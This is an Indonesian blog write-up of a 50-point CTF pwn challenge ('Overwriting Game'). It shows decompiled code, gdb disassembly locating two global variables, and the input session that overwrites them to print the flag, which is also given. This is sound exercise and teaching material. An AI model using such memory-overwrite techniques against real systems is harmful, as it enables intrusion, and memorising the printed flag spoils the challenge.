Saturday, June 17, 2017

Write Up SlashRoot - Overwriting Game

June 17, 2017

Overwriting Game (50pts) 

I love this game very mucho ~

Connect: nc 103.200.7.150 6666
7568227b11cd1062d7e9a7b9d34ac630

v Deskripsi

Peserta diberi file binary dan sebuah akses ke server

v Penyelesaian

Pertama kita analisa file binary tersebut dengan menggunakan ida untuk mempermudah dan melihat apa yang terjadi.

int the_game()
{
  int result; // eax@1
  int v1; // [sp+10h] [bp-18h]@4
  _DWORD *v2; // [sp+14h] [bp-14h]@4
  int v3; // [sp+18h] [bp-10h]@1
  int i; // [sp+1Ch] [bp-Ch]@1

  v3 = 2;
  i = 0;
  printf("Pin 1: %p\n", pin_1);
  printf("Pin 2: %p\n", pin_2);
  puts("Selamat datang di overwriting game ...");
  fflush(stdout);
  result = pin_1;
  if ( pin_1 == 0xDEADF00D )
  {
    result = pin_2;
    if ( pin_2 == 0xFBADBEEF )
    {
      for ( i = 0; i < v3; ++i )
      {
        printf("Alamat mana yang akan di-overwrite? ");
        fflush(stdout);
        __isoc99_scanf("%p", &v2);
        printf("Masukan nilai: ");
        fflush(stdout);
        __isoc99_scanf("%p", &v1);
        printf("Overwrite %p ke %p...\n", v1, v2);
        fflush(stdout);
        *v2 = v1;
        puts("Berhasil melakukan overwriting!");
        fflush(stdout);
        printf("Pin 1: %p\n", pin_1);
        printf("Pin 2: %p\n", pin_2);
        fflush(stdout);
      }
      if ( pin_1 != 0xDEADF00D && pin_2 != 0xFBADBEEF && pin_1 == pin_2 )
      {
        puts("Mantap, ambil flagnya!");
        fflush(stdout);
        system("cat flag.txt");
        exit(0);
      }
      puts("Oops, gagal melakukan overwriting!");
      result = fflush(stdout);
    }
  }
  return result;
}


Disana terlihat jika kita berhasil mengoverwrite address pin_1 dan pin_2 kita akan mendapatkan flagnya mari kita cari addressnya dengan gdb.

   0x080485a4 <+87>: mov    eax,ds:0x804a034
   0x080485a9 <+92>: cmp    eax,0xdeadf00d
   0x080485ae <+97>: jne    0x8048728 <the_game+475>
   0x080485b4 <+103>: mov    eax,ds:0x804a038
   0x080485b9 <+108>: cmp    eax,0xfbadbeef


Pin_1 pada address 0x804a034 dan pin_2 0x804a038 kita masukkan nilai yang sama.


Pin 1: 0xdeadf00d
Pin 2: 0xfbadbeef
Selamat datang di overwriting game ...
Alamat mana yang akan di-overwrite? 0x804a034
Masukan nilai: a
Overwrite 0xa ke 0x804a034...
Berhasil melakukan overwriting!
Pin 1: 0xa
Pin 2: 0xfbadbeef
Alamat mana yang akan di-overwrite? 0x804a038
Masukan nilai: a
Overwrite 0xa ke 0x804a038...
Berhasil melakukan overwriting!
Pin 1: 0xa
Pin 2: 0xa
Mantap, ambil flagnya!
SlashRootCTF{overwrite_meh_like_a_b0$$}



Flag dari tantangan ini SlashRootCTF{overwrite_meh_like_a_b0$$}.

Written by

aringan komputer (jaringan) adalah sebuah sistem yang terdiri atas dua komputer atau lebih yang didesain untuk dapat berbagi sumber daya ...

0 comments:

 

© 2015 Learning Basic Network. All rights resevered. Designed by Templateism

Back To Top